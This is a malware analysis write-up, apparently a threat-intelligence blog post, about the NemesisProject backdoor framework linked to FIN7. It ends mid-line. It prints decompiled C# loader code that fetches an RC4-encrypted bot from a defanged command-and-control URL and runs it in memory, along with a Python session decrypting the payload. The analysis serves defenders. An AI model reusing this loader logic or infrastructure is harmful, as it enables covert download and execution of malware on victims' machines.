NemesisProject By Jason Reaves Published: 2023-07-31 · Archived: 2026-04-05 18:08:51 UTC By: Jason Reaves, Jonathan McCay and Joshua Platt NemesisProject has been seen being utilized at least partially by FIN7[1] recently where it was seen being delivered through Tirion (aka Lizar, DiceLoader). The project itself comes as a backdoor framework with plugin components: BotLoaderStarter Bot Module CMD Module Powershell Module PrintScreen Module Stealer Module It appears to be in active development, most of the pieces CI has recovered or looked at have been written in .NET. The components have functionality to directly load and execute managed assembly code. Technical Overview As previously mentioned, this framework has a number of components, we will go over each component below. BotLoaderStarter The BotLoaderStarter is, as the name suggests, a loader designed to download and run a file; it comes with onboard settings or a configuration for the Loader: namespace Bot.Settings { public static class Setup { public static string WebChannelMainUrl1 = "http://de-signui.]com/api/support"; public static string WebChannelMainUrl2 = ""; public static string WebChannelMainUrl3 = ""; public static string OneDriveChannelLogin = ""; public static string OneDriveChannelPassword = ""; public static string OneDriveChannelUrlPath = ""; public static string AzureConnectionString = ""; https://medium.com/walmartglobaltech/nemesisproject-816ed5c1e8d5 Page 1 of 20 public static string IsEnableCryptorBot = "1"; public static string SeparateWord = "OEYQBEDEOUNN"; } } The main functionality as previously mentioned is to download and run a file: private static string botName = "m_BOT.dll"; public static void Run() { byte[] array = Main.DownloadBot(Setup.WebChannelMainUrl1); if (array == null && !string.IsNullOrEmpty(Setup.WebChannelMainUrl2)) { array = Main.DownloadBot(Setup.WebChannelMainUrl2); } if (array == null && !string.IsNullOrEmpty(Setup.WebChannelMainUrl3)) { array = Main.DownloadBot(Setup.WebChannelMainUrl3); } Main.CheckAndStartBot(array); } In this case the file to be downloaded is called ‘m_BOT.dll’ and will be downloaded over HTTP, you may have noticed that there were two other methods of communications available in the config data which was Azure and OneDrive, but they are not used by this loader. The downloaded file is encrypted using RC4 but the key and start of the encrypted data is actually inside the downloaded binary: private static void CheckAndStartBot(byte[] data) { if (data == null) { return; } if (Setup.IsEnableCryptorBot == "1") { string separateWord = Setup.SeparateWord; byte[] bytes = Encoding.UTF8.GetBytes(separateWord); List list = Main.IndexOfSequence(data, bytes, 0); byte[] arg_90_0 = data.Skip(list[0] + bytes.Length).Take(list[1] - list[0] - bytes.Length).ToArra byte[] data2 = data.Skip(list[1] + bytes.Length).Take(data.Length - list[1] - bytes.Length).ToAr Main.StartBot(Main.RC4(arg_90_0, data2)); return; } https://medium.com/walmartglobaltech/nemesisproject-816ed5c1e8d5 Page 2 of 20 Main.StartBot(data); } private static void StartBot(byte[] bot) { new Thread(delegate { Type type = Assembly.Load(bot).GetType("Bot.Main"); type.InvokeMember("Run", BindingFlags.InvokeMethod, null, type, new object[0]); }).Start(); } The loader uses the SeparateWord string from the settings to find the RC4 key and the start of the encrypted data. Python example: >>> t2 = data[6144:] >>> t2[:100] b'LCYEQDQMFUBTJBDXERQTLCYEQDQMFUBTU\xd6\x9f\xec\x95\x00dv\xcb0\xb4\x04\xe9I\xea\xccxh72#}\x05\xc6J\x9 >>> len(sep) 12 >>> t2 = t2[12:] >>> t2[:100] b'JBDXERQTLCYEQDQMFUBTU\xd6\x9f\xec\x95\x00dv\xcb0\xb4\x04\xe9I\xea\xccxh72#}\x05\xc6J\x97F\xe4\xeb\x >>> t2.find(sep) 8 >>> d = t2[:8] >>> t2 = t2[8+12:] >>> t2[:100] b'U\xd6\x9f\xec\x95\x00dv\xcb0\xb4\x04\xe9I\xea\xccxh72#}\x05\xc6J\x97F\xe4\xeb\x80\xa4\xc4\xcb\n]s\x >>> t2.find(sep) -1 >>> from Crypto.Cipher import ARC4 >>> rc4 = ARC4.new(d) >>> ttt = rc4.decrypt(t2) >>> ttt[:100] b'MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00@\x00\x00 >>> sep b'LCYEQDQMFUBT' >>> d b'JBDXERQT' Bot The bot piece of this framework contains a large amount of encoded strings, even in the additionally included libraries. The encoding is just a base64 decode followed by a GZIP decompress: https://medium.com/walmartglobaltech/nemesisproject-816ed5c1e8d5 Page 3 of 20 def decode(a): t = base64.b64decode(a) l = struct.unpack_from(‘